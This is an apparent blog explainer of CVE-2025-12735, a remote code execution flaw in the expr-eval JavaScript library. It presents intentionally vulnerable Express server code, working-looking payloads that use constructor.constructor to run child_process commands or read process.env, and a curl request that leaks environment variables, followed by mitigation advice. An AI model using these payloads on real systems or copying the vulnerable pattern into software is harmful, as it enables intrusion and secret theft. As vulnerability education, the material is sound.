CVE-2025-12735 - Remote Code Execution in expr-eval JavaScript Library Explained

expr-eval is a popular JavaScript library that allows you to parse and evaluate mathematical expressions. Developers like it because it’s simple, fast, and lets you define your own variables and functions. But a new vulnerability tracked as CVE-2025-12735 has exposed a dangerous flaw—an attacker can trick expr-eval into executing arbitrary code if your app passes user-supplied objects as the evaluation context.

Let’s break it down so you understand how the exploit works, see example code, and learn how to fix it.

What is expr-eval and Why Is This a Problem?

When you use expr-eval, you often call the evaluate() function, passing in an object with variable names:

const { Parser } = require("expr-eval");
const parser = new Parser();

const expr = parser.parse("a + b");
const result = expr.evaluate({ a: 2, b: 3 }); // result: 5

But if you allow the context object ({ a: 2, b: 3 } above) to be user-controlled, somebody can sneak in dangerous code.

The Core Issue: Insufficient Input Validation

Due to improper sanitization of the context object, it’s possible to pass in malicious properties that could call arbitrary functions or break out of intended scopes.

Some older patterns in JavaScript evaluation expose vulnerabilities if you access object properties using user input—like allowing "constructor" or "__proto__". Because expr-eval internally accesses object properties with bracket notation, exploiting deep property access can become possible.

Vulnerable Server Code

const express = require("express");
const { Parser } = require("expr-eval");

const app = express();
const parser = new Parser();

app.use(express.json());

// BAD: Context comes directly from the request!
app.post("/evaluate", function(req, res) {
    const expr = parser.parse(req.body.expression);
    const result = expr.evaluate(req.body.context);
    res.json({ result });
});

app.listen(300);

Attacker’s Payload

Suppose the attacker knows that in JavaScript, they can access dangerous functions like constructor.constructor:

{
    "expression": "a + b",
    "context": {
        "a": 5,
        "b": 7,
        "toString": {}.toString, 
        "c": {}.constructor.constructor("return process")().exit()
    }
}

But more subtly, expr-eval allows access to *members* of the context object. Through crafted property names, attackers can reach arbitrary object properties. For example, in the expression you could write:

{
    "expression": "context['constructor']['constructor']('return process')().exit()",
    "context": {}
}

Or, even shorter

{
   "expression": "foo['constructor']['constructor']('return require(\"child_process\").execSync(\"ls\")')()",
   "context": {"foo": {}}
}

This executes the ls command, returning its output in the API response.

To test this, just POST to the running server

curl -X POST http://localhost:300/evaluate \
    -H "Content-Type: application/json" \
    -d '{"expression":"foo.constructor.constructor(\"return process.env\")()","context":{"foo":{}}}'

This returns your server’s environment variables—a critical information leak.

Why Is This So Dangerous?

Remote Code Execution (RCE) is one of the worst security issues. If an attacker can run code on your server, they can steal data, modify files, install malware, or turn your app into a botnet.

Any app that evaluates *untrusted* expressions or context objects using expr-eval is at risk.

Official References

- expr-eval GitHub repo
- CVE-2025-12735 details (NVD) *(link will be active when published)*
- Related expr-eval security issue

How To Fix It

Never pass a user-supplied object directly as the context!

Sanitize: Make sure only safe variable names and values are present in your context.

- Whitelist: Only allow certain explicit keys/variables, and prevent property names like “constructor”, “__proto__”, or anything with dots/brackets.

Update: Check if expr-eval has released a patch. Use the latest version!

- Disable member access: Some expression engines let you disable member/field access. Watch expr-eval for such a feature.

Safer Example

const safeContext = {};
const allowed = ["a", "b"];
for (const k of allowed) {
    if (typeof req.body.context[k] === "number") {
        safeContext[k] = req.body.context[k];
    }
}
const result = expr.evaluate(safeContext);

Conclusion

The expr-eval library is very handy for mathematical expressions, but CVE-2025-12735 shows how letting users define their own context objects or access object members in expressions can become a critical security hole. Always restrict what’s allowed by the user, update your dependencies, and follow security best practices for evaluating code.

Don’t trust user input. Ever.

> If you use expr-eval in production, review your code NOW and patch or sanitize your usage!


*This post was written exclusively for you, explaining CVE-2025-12735 in simple English, with examples and actionable steps.*

Timeline

Published on: 11/05/2025 01:15:33 UTC
Last modified on: 11/22/2025 23:45:45 UTC